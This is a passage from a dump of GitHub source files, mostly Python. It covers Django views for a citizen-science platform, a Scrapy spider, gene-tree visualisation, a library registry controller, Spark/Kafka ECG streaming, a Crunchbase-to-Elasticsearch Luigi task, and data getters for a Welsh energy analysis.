get_object_or_404(Platform, id=pk)\n return render(request, 'platform.html', {'platform': platform})\n\n\ndef platforms(request):\n platforms = Platform.objects.get_queryset()\n totalCount = len(platforms)\n filters = {'keywords': '', 'country': '', 'geographicExtend': ''}\n countriesWithContent = Platform.objects.values_list('countries', flat=True).distinct()\n geographicExtendsWithContent = Platform.objects.values_list('geographicExtend', flat=True).distinct()\n platforms = applyFilters(request, platforms)\n filters = setFilters(request, filters)\n platforms = platforms.distinct()\n\n if request.GET.get('orderby'):\n orderBy = request.GET.get('orderby')\n if (\"name\" in orderBy):\n platforms = platforms.order_by('name')\n else:\n platforms = platforms.order_by('-dateUpdated')\n\n counter = len(platforms)\n counterPlatforms = len(platforms)\n\n #To Count\n #For resources count\n allResources = Resource.objects.all()\n allResources = applyFilters(request, allResources)\n allResources = allResources.distinct()\n resources2 = allResources.filter(~Q(isTrainingResource=True))\n trainingResources = allResources.filter(isTrainingResource=True)\n resourcesCounter = len(resources2)\n trainingResourcesCounter = len(trainingResources)\n\n #For projects count\n projects = Project.objects.all()\n projects = projects.filter(~Q(hidden=True))\n projects = applyFilters(request, projects)\n projects = projects.distinct()\n projectsCounter = len(projects)\n\n #For organisations count\n organisations = Organisation.objects.all()\n organisations = applyFilters(request, organisations)\n organisations = organisations.distinct()\n organisationsCounter = len(organisations)\n\n #For users count\n users = Profile.objects.all().filter(profileVisible=True).filter(user__is_active=True)\n users = applyFilters(request, users)\n users = users.distinct()\n usersCounter = len(users) \n\n return render(request, 'platforms.html', {'platforms': platforms,\n 'counter': counter,\n 'totalCount': totalCount,\n 'platformsCounter': counterPlatforms,\n 'resourcesCounter': resourcesCounter,\n 'trainingResourcesCounter': trainingResourcesCounter,\n 'projectsCounter': projectsCounter,\n 'organisationsCounter': organisationsCounter,\n 'usersCounter': usersCounter,\n 'countriesWithContent': countriesWithContent,\n 'geographicExtendWithContent': geographicExtendsWithContent,\n 'filters': filters,\n 'isSearchPage': True})\n\n\ndef platformsAutocompleteSearch(request):\n if request.GET.get('q'):\n text = request.GET['q']\n platforms = getPlatformsAutocomplete(text)\n platforms = list(platforms)\n return JsonResponse(platforms, safe=False)\n else:\n return HttpResponse(\"No cookies\")\n\n\ndef getPlatformsAutocomplete(text):\n platforms = Platform.objects.filter(name__icontains=text).values_list('id', 'name').distinct()\n report = []\n for platform in platforms:\n report.append({\"type\": \"platform\", \"id\": platform[0], \"text\": platform[1]})\n return report\n\n\ndef setImages(request, form):\n images = {}\n for key, value in request.FILES.items():\n x = form.cleaned_data.get('x' + key)\n y = form.cleaned_data.get('y' + key)\n w = form.cleaned_data.get('width' + key)\n h = form.cleaned_data.get('height' + key)\n image = Image.open(value)\n image = image.crop((x, y, w+x, h+y))\n if(key == 'profileImage'):\n finalsize = (1100, 400)\n else:\n finalsize = (600, 400)\n image = image.resize(finalsize, Image.ANTIALIAS)\n imagePath = getImagePath(value.name)\n image.save('media/'+imagePath)\n images[key] = imagePath\n print(images)\n print(\"-00.\")\n return(images)\n\n\ndef getImagePath(imageName):\n _datetime = formats.date_format(datetime.now(), 'Y-m-d_hhmmss')\n random_num = random.randint(0, 1000)\n image_path = \"images/\" + _datetime + '_' + str(random_num) + '_' + imageName\n return image_path\n\ndef sendPlatformEmail(pk, user):\n platform2 = get_object_or_404(Platform, id=pk)\n subject = '[EU-CITIZEN.SCIENCE] Your platform \"%s\" has been submitted' % platform2.name\n print(subject)\n message = render_to_string('emails/new_platform.html', {\n 'username': user.name,\n 'domain': settings.HOST,\n 'platformname': platform2.name,\n 'platformid': pk})\n # to = [user.email]\n to = copy.copy(settings.EMAIL_RECIPIENT_LIST)\n to.append(user.email)\n bcc = copy.copy(settings.EMAIL_RECIPIENT_LIST)\n email = EmailMessage(subject, message, to=to, bcc=bcc)\n email.content_subtype = \"html\"\n email.send()\n print(message) \n\ndef applyFilters(request, queryset):\n if queryset.model == Project:\n if request.GET.get('keywords'):\n queryset = queryset.filter(\n Q(name__icontains=request.GET['keywords']) |\n Q(keywords__keyword__icontains=request.GET['keywords'])).distinct()\n queryset = queryset.filter(approved=True)\n\n if queryset.model == Resource:\n if request.GET.get('keywords'):\n queryset = queryset.filter(\n Q(name__icontains=request.GET['keywords']) |\n Q(keywords__keyword__icontains=request.GET['keywords'])).distinct()\n queryset = queryset.filter(approved=True)\n\n if queryset.model == Profile:\n if request.GET.get('keywords'):\n keywords = request.GET.get('keywords')\n queryset = queryset.filter(\n Q(user__name__icontains=keywords) |\n Q(interestAreas__interestArea__icontains=keywords) |\n Q(bio__icontains=keywords)).distinct()\n \n if queryset.model == Organisation:\n if request.GET.get('keywords'):\n queryset = queryset.filter(\n Q(name__icontains=request.GET['keywords'])).distinct()\n \n if queryset.model == Platform:\n if request.GET.get('keywords'):\n keywords = request.GET.get('keywords')\n queryset = queryset.filter(name__icontains=keywords).distinct() \n if request.GET.get('country'):\n queryset = queryset.filter(countries__icontains=request.GET['country']).distinct()\n if request.GET.get('geographicExtend'):\n queryset = queryset.filter(geographicExtend__icontains=request.GET['geographicExtend']).distinct()\n \n return queryset\n\ndef setFilters(request, filters):\n if request.GET.get('keywords'):\n filters['keywords'] = request.GET['keywords']\n if request.GET.get('country'):\n filters['country'] = request.GET['country']\n if request.GET.get('geographicExtend'):\n filters['geographicExtend'] = request.GET['geographicExtend']\n if request.GET.get('orderby'):\n filters['orderby'] = request.GET['orderby'] \n return filters","repo_name":"Ibercivis/EU-CS_platform","sub_path":"src/platforms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10563,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"69"} +{"seq_id":"29592019339","text":"\nimport scrapy\nfrom scrapy.selector import Selector\nimport re\nfrom scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor as selink\nfrom scrapy.contrib.spiders import CrawlSpider,Rule\n\nfrom huxiuspider.items import BookItem\n\nclass BookSpider(CrawlSpider):\n\tname = \"books\"\n\tallow_domains = [\"huxiu.com\"]\n\tstart_urls = [\"http://www.huxiu.com/books\"]\n\trules = (\n\t\tRule(selink(allow=(\"books/([0-9]+)\\.html\",))\n\t\t\t,),\n\t\tRule(selink(allow=(\"article/([0-9]+)/1\\.html\"))\n\t\t\t,callback='parse_3')\n\t)\n\n\tdef parse_2(self,response):\n\t\tfor sel in response.xpath(\"//div[@class='clearfix mod-b mod-list-book']\"):\n\t\t\titem = BookItem()\n\t\t\titem[\"title\"] = sel.xpath(\"//ul[@class='clearfix ul-list']/li[1]/i/text()\").extract()\n\t\t\titem[\"name\"] = sel.xpath(\"div[@class='b-info-list']/h3/a/@href\").extract()\n\t\t\t\n\t\t\treturn item\n\n\tdef parse_3(self,response):\n\t\tsel = Selector(response)\n\t\titem = BookItem()\n\t\titem[\"title\"] = sel.xpath(\"//h1[@class='t-h1']/text()\").extract()\n\t\titem[\"name\"] = sel.xpath(\"//ul[@class='clearfix ul-list']/li[1]/i/text()\").extract()\n\t\tyield item\n\n\n","repo_name":"coderxiao/huxiuSpider","sub_path":"huxiuspider/spiders/books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9643484936","text":"#!/usr/bin/env python\n''' Author : Huy Nguyen\n Program : Providing visualization of the Reconstruction. Grouping genomes\n into group color\n Start : 05/08/2016\n End : 05/08/2016\n'''\nfrom ete3 import *\nimport argparse\nimport os\nfrom findParent_global import *\n\ndef get_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--Operon\",\"-i\", help=\"Operon file name\")\n parser.add_argument(\"--Accession\",\"-a\", help=\"accession_to_common\")\n parser.add_argument(\"--Group\",\"-g\", help=\"Color Grouping\")\n parser.add_argument(\"--Image\",\"-o\", help=\"Output Image\")\n parser.add_argument(\"--Locus\",\"-l\", help=\"gene mapping name (CYP114-h)\")\n args = parser.parse_args()\n return args\n \n# color group of genome\n# create a dictionary, sadly this is done manually\ndef parse(file):\n color_dic={}\n group= open(file,'r')\n for line in group.readlines():\n key= line.split(':')[0]\n color=line.split(':')[1]\n value = color.split('\\n')[0]\n color_dic[key]=value\n return color_dic\n\ndef accession_to_name(file):\n my_dic ={}\n infile = open(file,'r')\n for line in infile.readlines():\n line = line.replace('\\r','')\n line = line.strip('\\n')\n line = line.split(',')\n my_dic[line[0]] = line[1]\n return my_dic\nif __name__ == \"__main__\":\n start = time.time()\n args = get_arguments()\n locus = args.Locus\n name_dic = accession_to_name(args.Accession)\n tree= Tree(args.Operon)\n mapping = args.Operon+'_mapping'\n infile = open(mapping,'r')\n dic={}\n for line in infile.readlines():\n line = line.strip()\n line = line.split('\\t')\n for item in line:\n item = item.split(',')\n dic[item[1]]=item[0]\n color_list=['green','cyan','magenta','gray','yellow','orange',\n 'red','lime','pink','blue','silver','maroon']\n gene_color_dic = {}\n for gene in dic:\n color = color_list.pop(0)\n gene_color_dic[gene]= color\n # file to write out about genome that has full othorlog CYP115\n outfile = open('full_CYP115.txt','w')\n # using the color dic to color group\n # color_dic = parse(args.Group)\n # fusion = open('potential_fusion.txt','w')\n pseudo = open('pseudo.txt','w')\n \n for node in tree.iter_descendants(\"postorder\"):\n if not node.is_leaf():\n genes = list(node.initial)\n col = 1\n for gene in genes:\n if gene !=\"|\":\n if gene !=\"p\":\n gene_face = TextFace(gene)\n gene_face.background.color = gene_color_dic[gene] \n else:\n gene_face = TextFace(gene,fgcolor=\"white\")\n gene_face.background.color = \"black\"\n else:\n gene_face = TextFace(\" \")\n gene_face.background.color = \"white\"\n node.add_face(gene_face,col,\"branch-top\")\n col+=1\n node.add_face(TextFace(\" \"),col,\"branch-top\")\n col+=1\n deletion_cost = (node.deletion).split('|')[1]\n dup_cost = (node.duplication).split('|')[1]\n split_cost = (node.split).split('|')[1]\n \n distances = [int(deletion_cost),int(dup_cost),int(split_cost)]\n# node.add_face(TextFace(node.initial), column=0, position = \"branch-top\")\n node.add_face(TextFace(distances), column=0, position = \"branch-bottom\")\n \n child1,child2 = node.get_children()\n color1 = child1.node_color\n color2 = child2.node_color\n if color1 == color2 and color1 !='mixed':\n node.add_features(node_color=color1)\n else:\n node.add_features(node_color='mixed')\n else:\n \n # print node.name, node.gene_block\n name = node.name.split(\"_\")\n node.name =name_dic[node.name] \n if locus in node.gene_block:\n outfile.write(node.name+'\\n')\n color = 'red'\n node.add_features(node_color=color)\n# R = RectFace(1,2,color=\"RoyalBlue\", label=\"123\")\n# node.add_face(R)\n if \"reference\" in node.name:\n node.add_face(TextFace(node.name.replace(\"(reference)\",\" \"),fgcolor = 'blue'), column =0, position =\"aligned\")\n elif \"Erwinia_tracheiphila_PSU-1\" in node.name:\n node.add_face(TextFace(node.name,fgcolor = 'gray'), column =0, position =\"aligned\")\n else:\n # detect those that dont have gene g (maybe because of fusion):\n if len(node.gene_block) ==0:\n node.add_face(TextFace(node.name,fgcolor = 'red'), column =0, position =\"aligned\")\n else:\n to_add =\"\"\n #fusion.write(node.name+'\\n')\n if 'p' in node.gene_block and locus not in node.gene_block:\n to_add +='!'\n pseudo.write(node.name+'\\n')\n elif 'p' not in node.gene_block and locus in node.gene_block:\n to_add +='*'\n pseudo.write(node.name+'\\n')\n if 'k' in node.gene_block:\n to_add += '?'\n node.add_face(TextFace(to_add+node.name), column =0, position =\"aligned\")\n \n genes = list(node.gene_block)\n col = 1\n for gene in genes:\n if gene !=\"|\":\n if gene!=\"p\":\n if gene_color_dic[gene]== \"blue\":\n gene_face = TextFace(gene,fgcolor=\"white\")\n else:\n gene_face = TextFace(gene)\n gene_face.background.color = gene_color_dic[gene] \n else:\n gene_face = TextFace(gene,fgcolor=\"white\")\n gene_face.background.color = \"black\"\n else:\n gene_face = TextFace(\" \")\n gene_face.background.color = \"white\"\n node.add_face(gene_face,col,\"aligned\")\n col+=1\n node.add_face(TextFace(\" \"),col,\"aligned\")\n col+=1\n \n # node.dist = distance\n if node.node_color != 'mixed':\n nstyle = NodeStyle()\n nstyle[\"fgcolor\"] = color\n # nstyle[\"vt_line_color\"]=color\n # nstyle[\"hz_line_color\"]=color\n node.set_style(nstyle)\n outfile.close()\n # fusion.close()\n pseudo.close()\n\n ### get the total cost for each event:\n # get the 2 children of the tree\n children= []\n # print \"tree\",tree\n for child in tree.get_children():\n children.append(child)\n # print \"children\",children\n deletion_cost1 = (children[0].deletion).split('|')[1]\n deletion_cost2 = (children[1].deletion).split('|')[1] \n duplication_cost1 = (children[0].duplication).split('|')[1]\n duplication_cost2 = (children[1].duplication).split('|')[1]\n split_cost1 = (children[0].split).split('|')[1]\n split_cost2 = (children[1].split).split('|')[1]\n \n deletion_total = int(deletion_cost1) + int(deletion_cost2)\n duplication_total = int(duplication_cost1) + int(duplication_cost2)\n split_total = int(split_cost1)+int(split_cost2)\n # modify tree style for better visualization\n tree_style = TreeStyle()\n tree_style.show_leaf_name = False\n tree_style.min_leaf_separation = 5\n tree_style.extra_branch_line_type = 0\n tree_style.draw_guiding_lines=True\n tree_style.guiding_lines_type = 1\n \n # render the image\n tree.render(args.Image+'.png',dpi=1000,tree_style=tree_style)\n tree.render(args.Image+'.pdf',dpi=1000,tree_style=tree_style)\n # tree.render(args.Image+'.pdf',dpi=1000,tree_style=tree_style)\n# tree.show(tree_style=tree_style)\n\n\n\n","repo_name":"nguyenngochuy91/Gibberellin-Operon","sub_path":"ancestral_reconstruction/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":8017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"8936631070","text":"import json\nimport logging\n\nimport flask\nfrom flask import (Response, request, url_for)\nfrom flask_babel import lazy_gettext as _\n\nfrom library_registry.drm.controller import AdobeVendorIDController\nfrom library_registry.authentication_document import AuthenticationDocument\nfrom library_registry.emailer import Emailer\nfrom library_registry.model import (\n Place,\n ServiceArea,\n production_session,\n)\nfrom library_registry.admin.controller import ViewController\nfrom library_registry.admin.controller import AdminController\nfrom library_registry.library_registration_protocol.controller import LibraryRegistryController, ValidationController\nfrom library_registry.library_list.controller import LibraryListController\nfrom library_registry.util.shared_controller import BaseController\nfrom library_registry.config import Configuration\nfrom library_registry.util.app_server import HeartbeatController\n\nclass LibraryRegistry:\n\n def __init__(self, _db=None, testing=False, emailer_class=Emailer):\n\n self.log = logging.getLogger(\"Library registry web app\")\n\n if _db is None and not testing:\n _db = production_session()\n self._db = _db\n\n self.testing = testing\n\n self.setup_controllers(emailer_class)\n\n def setup_controllers(self, emailer_class=Emailer):\n \"\"\"Set up all the controllers that will be used by the web app.\"\"\"\n self.view_controller = ViewController(self)\n self.admin_controller = AdminController(self)\n self.registry_controller = LibraryRegistryController(\n self, emailer_class\n )\n self.list_controller = LibraryListController(self, emailer_class)\n self.validation_controller = ValidationController(self)\n self.coverage_controller = CoverageController(self)\n self.static_files = StaticFileController(self)\n self.heartbeat = HeartbeatController()\n vendor_id, node_value, delegates = Configuration.vendor_id(self._db)\n if vendor_id:\n self.adobe_vendor_id = AdobeVendorIDController(\n self._db, vendor_id, node_value, delegates\n )\n else:\n self.adobe_vendor_id = None\n\n def url_for(self, view, *args, **kwargs):\n kwargs['_external'] = True\n return url_for(view, *args, **kwargs)\n\n# This static_file function is used only when the app is running locally *without* Docker.\n# In all other cases, nginx serves the static files (see docker/nginx.conf).\nclass StaticFileController(BaseController):\n def static_file(self, directory, filename):\n return flask.send_from_directory(directory, filename, cache_timeout=None)\n\nclass CoverageController(BaseController):\n \"\"\"Converts coverage area descriptions to GeoJSON documents\n so they can be visualized.\n \"\"\"\n\n def geojson_response(self, document):\n if isinstance(document, dict):\n document = json.dumps(document)\n headers = {\"Content-Type\": \"application/geo+json\"}\n return Response(document, 200, headers=headers)\n\n def lookup(self):\n coverage = request.args.get('coverage')\n try:\n coverage = json.loads(coverage)\n except ValueError:\n pass\n places, unknown, ambiguous = AuthenticationDocument.parse_coverage(\n self._db, coverage\n )\n document = Place.to_geojson(self._db, *places)\n\n # Extend the GeoJSON with extra information about parts of the\n # coverage document we found ambiguous or couldn't associate\n # with a Place.\n if unknown:\n document['unknown'] = unknown\n if ambiguous:\n document['ambiguous'] = ambiguous\n return self.geojson_response(document)\n\n def _geojson_for_service_area(self, service_type):\n \"\"\"Serve a GeoJSON document describing some subset of the active\n library's service areas.\n \"\"\"\n areas = [\n x.place for x in request.library.service_areas if x.type == service_type]\n return self.geojson_response(Place.to_geojson(self._db, *areas))\n\n def eligibility_for_library(self):\n \"\"\"Serve a GeoJSON document representing the eligibility area\n for a specific library.\n \"\"\"\n return self._geojson_for_service_area(ServiceArea.ELIGIBILITY)\n\n def focus_for_library(self):\n \"\"\"Serve a GeoJSON document representing the focus area\n for a specific library.\n \"\"\"\n return self._geojson_for_service_area(ServiceArea.FOCUS)","repo_name":"NYPL-Simplified/library_registry","sub_path":"library_registry/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"74381142618","text":"from __future__ import print_function\n\nimport sys\n\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.streaming.kafka import KafkaUtils\nfrom kafka import KafkaProducer\n\nimport rpeak\nimport json\n\ndef mapper( line ):\n# unpack json\n\traw_dict = json.loads( line )\n\tpatient_id = raw_dict['p']\n\tecg_data = {}\n\tfor item in raw_dict['s']:\n\t\tif item['meta']['t'] == 'N2-ECG-1':\n\t\t\tecg_data = item\n\t\t\tbreak\n\talgo = rpeak.RPeakDetector( fs=ecg_data['meta']['rate'], ecg_lead='MLI')\n\tpeaks, rri = algo.analyze( ecg_data['data'] )\n\toutput_data = {\n\t\t'peaks':[],\n\t\t'rri':[],\n\t}\n\toutput_data.update( ecg_data )\n\toutput_pack = json.dumps( output_data )\n\t\n\treturn ( patient_id, ecg_data['meta']['n'] )\n\ndef toKafka( record ):\n\tk = \"spark-\" + str(record[0])\n\tv = json.dumps(record[1])\n\tprint(k)\n\tprint(v)\n\n\tconf = {\n\t\t'bootstrap_servers':'Niu-Kafka-0:9092',\n\t\t'key_serializer':str.encode,\n#\t\t'value_serializer':lambda v:v.encode('utf-8')\n\t\t'value_serializer':str.encode\n\t}\n\tproducer = KafkaProducer( **conf )\n\ttopic = 'stream-output'\n\tproducer.send(topic, key=k, value=v)\n\tproducer.flush()\n\nif __name__ == \"__main__\":\n\tconf = SparkConf()\n\tconf.set(\"spark.streaming.backpressure.enabled\", \"true\")\n\tconf.set(\"spark.streaming.backpressure.initialRate\", \"10\")\n\tconf.set(\"spark.streaming.receiver.maxRate\", \"10\")\n\tconf.set(\"spark.cores.max\", \"4\")\n#\tconf.set(\"spark.executor.cores\", \"8\")\n#\tconf.set(\"spark.default.parallelism\", \"2\")\n\n\tsc = SparkContext(appName=\"ECGSparkStreaming3\", conf=conf)\n\tssc = StreamingContext(sc, 1)\n\n\tzkQuorum = 'Niu-Kafka-0:2181,Niu-Kafka-1:2181,Niu-Kafka-2:2181'\n\ttopic = 'stream-input'\n\n#\tdefine 2 receivers\n\tnum_streams = 2 \n\tkafka_streams = [ KafkaUtils.createStream(ssc, zkQuorum, \"spark-streaming-consumer\", {topic: 4}) for _ in range(num_streams) ]\n\tunion_stream = ssc.union(*kafka_streams)\n\tlines = union_stream.map(lambda x: x[1])\n#\tlines.pprint()\n\n\tstreams = lines.map( mapper )\n#\tstreams = streams.reduceByKey(lambda x, y: \"%s %s\" % (x, y))\n\tstreams = streams.reduceByKeyAndWindow(lambda x, y: \"%s-->%s\" % (x, y), None, 10, 2, None)\n#\tstreams.pprint()\n\tstreams.foreachRDD( lambda rdd: rdd.foreach(toKafka) )\n\n\tssc.start()\n\tssc.awaitTermination()\n\n","repo_name":"focus-andy/master_thesis","sub_path":"spark_streaming/RPeak.py","file_name":"RPeak.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"19807249196","text":"'''\nPipe data to Elasticsearch\n================================\n\nLuigi routine to load the Crunchbase data from MYSQL into Elasticsearch.\n\nNot all data is copied: organizations, categories and locations only. The data is\nflattened and it is all stored in the same index.\n'''\n\nimport boto3\nfrom elasticsearch.helpers import scan\nimport logging\nimport luigi\nimport os\n\nfrom nesta.core.routines.projects.health_mosaic.crunchbase_mesh_task import DescriptionMeshTask\nfrom nesta.packages.crunchbase.crunchbase_collect import all_org_ids\nfrom nesta.packages.misc_utils.batches import split_batches, put_s3_batch\nfrom nesta.core.luigihacks import autobatch\nfrom nesta.core.luigihacks.misctools import get_config\nfrom nesta.core.luigihacks.mysqldb import MySqlTarget\nfrom nesta.core.orms.orm_utils import get_mysql_engine\nfrom nesta.core.orms.orm_utils import setup_es\n\n\nS3 = boto3.resource('s3')\n_BUCKET = S3.Bucket(\"nesta-production-intermediate\")\nDONE_KEYS = set(obj.key for obj in _BUCKET.objects.all())\n\nclass CrunchbaseSql2EsTask(autobatch.AutoBatchTask):\n '''Download tar file of csvs and load them into the MySQL server.\n\n Args:\n date (datetime): Datetime used to label the outputs\n _routine_id (str): String used to label the AWS task\n db_config_env (str): The output database envariable\n process_batch_size (int): Number of rows to process in a batch\n insert_batch_size (int): Number of rows to insert into the db in a batch\n intermediate_bucket (str): S3 bucket where the list of ids for each batch are\n written\n '''\n date = luigi.DateParameter()\n _routine_id = luigi.Parameter()\n db_config_env = luigi.Parameter()\n process_batch_size = luigi.IntParameter(default=10000)\n insert_batch_size = luigi.IntParameter()\n intermediate_bucket = luigi.Parameter()\n drop_and_recreate = luigi.BoolParameter(default=False)\n\n def requires(self):\n yield DescriptionMeshTask(date=self.date,\n _routine_id=self._routine_id,\n test=self.test,\n insert_batch_size=self.insert_batch_size,\n db_config_path=self.db_config_path,\n db_config_env=self.db_config_env)\n\n def output(self):\n '''Points to the output database engine'''\n self.db_config_path = os.environ[self.db_config_env]\n db_config = get_config(self.db_config_path, \"mysqldb\")\n db_config[\"database\"] = 'dev' if self.test else 'production'\n db_config[\"table\"] = \"Crunchbase to Elasticsearch <dummy>\" # Note, not a real table\n update_id = \"CrunchbaseToElasticsearch_{}\".format(self.date)\n return MySqlTarget(update_id=update_id, **db_config)\n\n def prepare(self):\n if self.test:\n self.process_batch_size = 1000\n logging.warning(\"Batch size restricted to \"\n f\"{self.process_batch_size}\"\n \" while in test mode\")\n\n # MySQL setup\n self.database = 'dev' if self.test else 'production'\n engine = get_mysql_engine(self.db_config_env, 'mysqldb',\n self.database)\n\n # Elasticsearch setup\n es, es_config = setup_es(endpoint='health-scanner',\n dataset='companies',\n production=not self.test,\n drop_and_recreate=self.drop_and_recreate)\n\n # Get set of existing ids from elasticsearch via scroll\n scanner = scan(es, query={\"_source\": False},\n index=es_config['index'],\n doc_type=es_config['type'])\n existing_ids = {s['_id'] for s in scanner}\n logging.info(f\"Collected {len(existing_ids)} existing in \"\n \"Elasticsearch\")\n\n # Get set of all organisations from mysql\n all_orgs = list(all_org_ids(engine))\n logging.info(f\"{len(all_orgs)} organisations in MySQL\")\n\n # Remove previously processed\n orgs_to_process = list(org for org in all_orgs\n if org not in existing_ids)\n logging.info(f\"{len(orgs_to_process)} to be processed\")\n\n job_params = []\n for count, batch in enumerate(split_batches(orgs_to_process,\n self.process_batch_size),\n 1):\n logging.info(f\"Processing batch {count} with size {len(batch)}\")\n\n # write batch of ids to s3\n batch_file = put_s3_batch(batch, self.intermediate_bucket,\n 'crunchbase_to_es')\n params = {\n \"batch_file\": batch_file,\n \"config\": 'mysqldb.config',\n \"db_name\": self.database,\n \"bucket\": self.intermediate_bucket,\n \"done\": False,\n 'outinfo': es_config['host'],\n 'out_port': es_config['port'],\n 'out_index': es_config['index'],\n 'out_type': es_config['type'],\n 'aws_auth_region': es_config['region'],\n 'entity_type': 'company',\n \"test\": self.test\n }\n\n logging.info(params)\n job_params.append(params)\n if self.test and count > 1:\n logging.warning(\"Breaking after 2 batches while in \"\n \"test mode.\")\n break\n\n logging.warning(\"Batch preparation completed, \"\n f\"with {len(job_params)} batches\")\n return job_params\n\n def combine(self, job_params):\n '''Touch the checkpoint'''\n self.output().touch()\n","repo_name":"nestauk/old_nesta_daps","sub_path":"nesta/core/routines/projects/health_mosaic/companies/crunchbase_elasticsearch_task.py","file_name":"crunchbase_elasticsearch_task.py","file_ext":"py","file_size_in_byte":5814,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"69"} +{"seq_id":"8124431251","text":"\n# Este código em Python é usado para separar números pares e ímpares em duas listas diferentes. O código começa criando duas listas vazias, uma para números pares e outra para números ímpares. Em seguida, ele entra em um loop infinito que solicita ao usuário que insira um número inteiro. Se o número for zero, o loop é interrompido. Se o número for par, ele é adicionado à lista de números pares. Se for ímpar, é adicionado à lista de números ímpares. As duas listas são então classificadas em ordem crescente e o número de elementos em cada lista é impresso. Por exemplo, se o usuário inserir os números 3, 6, 2, 1 e 4, o programa imprimirá \"Existem [2, 4, 6] números pares\" e \"Existem [1, 3] números ímpares\". Espero que isso ajude! 😊\n\n\nlist_even = [ ]\nlist_odd = [ ]\n\nwhile True:\n numero = int(input(\" Inform a integer number and zero to stop: \"))\n if numero == 0:\n break\n if numero % 2 == 0:\n list_even.append(numero)\n else:\n list_odd.append(numero)\n\n list_even.sort()\n list_odd.sort()\n\n print(f\"There are {list_even} even\")\n print(f\"There are {list_odd} odd\")","repo_name":"hernandot2/MadLibs","sub_path":"python14.py","file_name":"python14.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72548723419","text":"# File: asf_welsh_energy_consultation/getters/get_data.py\n\"\"\"\nData getters.\n\"\"\"\n\nfrom asf_welsh_energy_consultation import PROJECT_DIR\nfrom asf_welsh_energy_consultation import config\n\nfrom asf_core_data import load_preprocessed_epc_data, get_mcs_installations\nfrom asf_core_data.getters.mcs_getters.get_mcs_installations import (\n get_processed_installations_data_by_batch,\n)\nfrom asf_core_data.getters.epc.data_batches import get_batch_path\nfrom asf_core_data.config import base_config\nfrom asf_core_data.getters.data_getters import download_core_data, logger\n\nimport pandas as pd\nimport numpy as np\nimport os\n\nfrom argparse import ArgumentParser\n\nepc_processing_version = config[\"epc_data_config\"][\"epc_processing_version\"]\ndownload_core_data_epc_version = config[\"epc_data_config\"][\n \"download_core_data_epc_version\"\n]\n\npostcode_path = \"inputs/data/postcodes\"\nregions_path = \"inputs/data/regions.csv\"\noff_gas_path = \"inputs/data/off-gas-live-postcodes-2022.xlsx\"\noa_path = \"inputs/data/postcode_to_output_area.csv\"\nrurality_path = \"inputs/data/rurality.ods\"\ntenure_path = \"inputs/data/tenure.csv\"\n\n\ndef create_argparser():\n \"\"\"\n Creates an Argument Parser that can receive the following arguments:\n - local_data_dir\n - epc_batch\n - mcs_batch\n\n Returns:\n Argument Parser\n \"\"\"\n parser = ArgumentParser()\n\n parser.add_argument(\n \"--local_data_dir\",\n help=\"Local directory where EPC data is/will be stored\",\n type=str,\n )\n\n parser.add_argument(\n \"--epc_batch\",\n help='Specifies which EPC data batch to use in the form `YYYY_[Quarter]_complete`. Defaults to \"newest\"',\n default=\"newest\",\n type=str,\n )\n\n parser.add_argument(\n \"--mcs_batch\",\n help=\"Specifies which MCS installations data batch to use. Only date required in YYMMDD format. \"\n 'Defaults to \"newest\"',\n default=\"newest\",\n type=str,\n )\n\n return parser\n\n\ndef get_args():\n \"\"\"\n Get arguments from Argument Parser.\n\n Returns:\n List of arguments.\n \"\"\"\n parser = create_argparser()\n\n return parser.parse_args()\n\n\narguments = get_args()\nLOCAL_DATA_DIR = arguments.local_data_dir\n\n\ndef get_mcs_and_joined_data():\n \"\"\"\n Get cleaned MCS data, and cleaned MCS data fully joined with EPC dataset up to date specified in args.\n\n Returns:\n MCS dataset and MCS dataset fully joined with EPC dataset\n \"\"\"\n mcs_date = arguments.mcs_batch\n\n # Get latest MCS data or batch specified in args\n if mcs_date == \"newest\":\n mcs_data = get_mcs_installations(epc_version=\"none\")\n mcs_epc_full_data = get_mcs_installations(epc_version=\"full\")\n else:\n mcs_data = get_processed_installations_data_by_batch(\n batch_date=mcs_date, epc_version=\"none\"\n )\n mcs_epc_full_data = get_processed_installations_data_by_batch(\n batch_date=mcs_date, epc_version=\"full\"\n )\n return mcs_data, mcs_epc_full_data\n\n\n# Get MCS data from S3\nmcs_installations_data, mcs_installations_epc_full_data = get_mcs_and_joined_data()\n\n\ndef get_countries():\n \"\"\"Get lookup table of postcodes to countries.\n\n Returns:\n Dataframe: Postcode geographic data.\n \"\"\"\n # Read postcode data\n postcode_folder = PROJECT_DIR / postcode_path\n files = os.listdir(postcode_folder)\n postcode_df = pd.concat(\n # Only need postcode and LA code cols\n (pd.read_csv(postcode_folder / file, header=None)[[0, 8]] for file in files),\n ignore_index=True,\n )\n postcode_df = postcode_df.rename(columns={0: \"postcode\", 8: \"la_code\"})\n\n postcode_df[\"postcode\"] = postcode_df[\"postcode\"].str.replace(\" \", \"\")\n\n # Get country names from LA codes - country can be inferred from\n # first character of LA code\n country_dict = {\n \"E\": \"England\",\n \"W\": \"Wales\",\n \"S\": \"Scotland\",\n \"N\": \"Northern Ireland\",\n \" \": np.nan,\n }\n postcode_df[\"country\"] = (\n postcode_df[\"la_code\"].fillna(\" \").apply(lambda code: country_dict[code[0]])\n )\n\n return postcode_df\n\n\ndef get_mcs_domestic():\n \"\"\"Get domestic MCS data.\n\n Returns:\n pd.DataFrame: Domestic MCS installation records.\n \"\"\"\n mcs = mcs_installations_data\n\n # Older MCS data batches will need this processing step\n # Newer batches have been through this processing step already in the 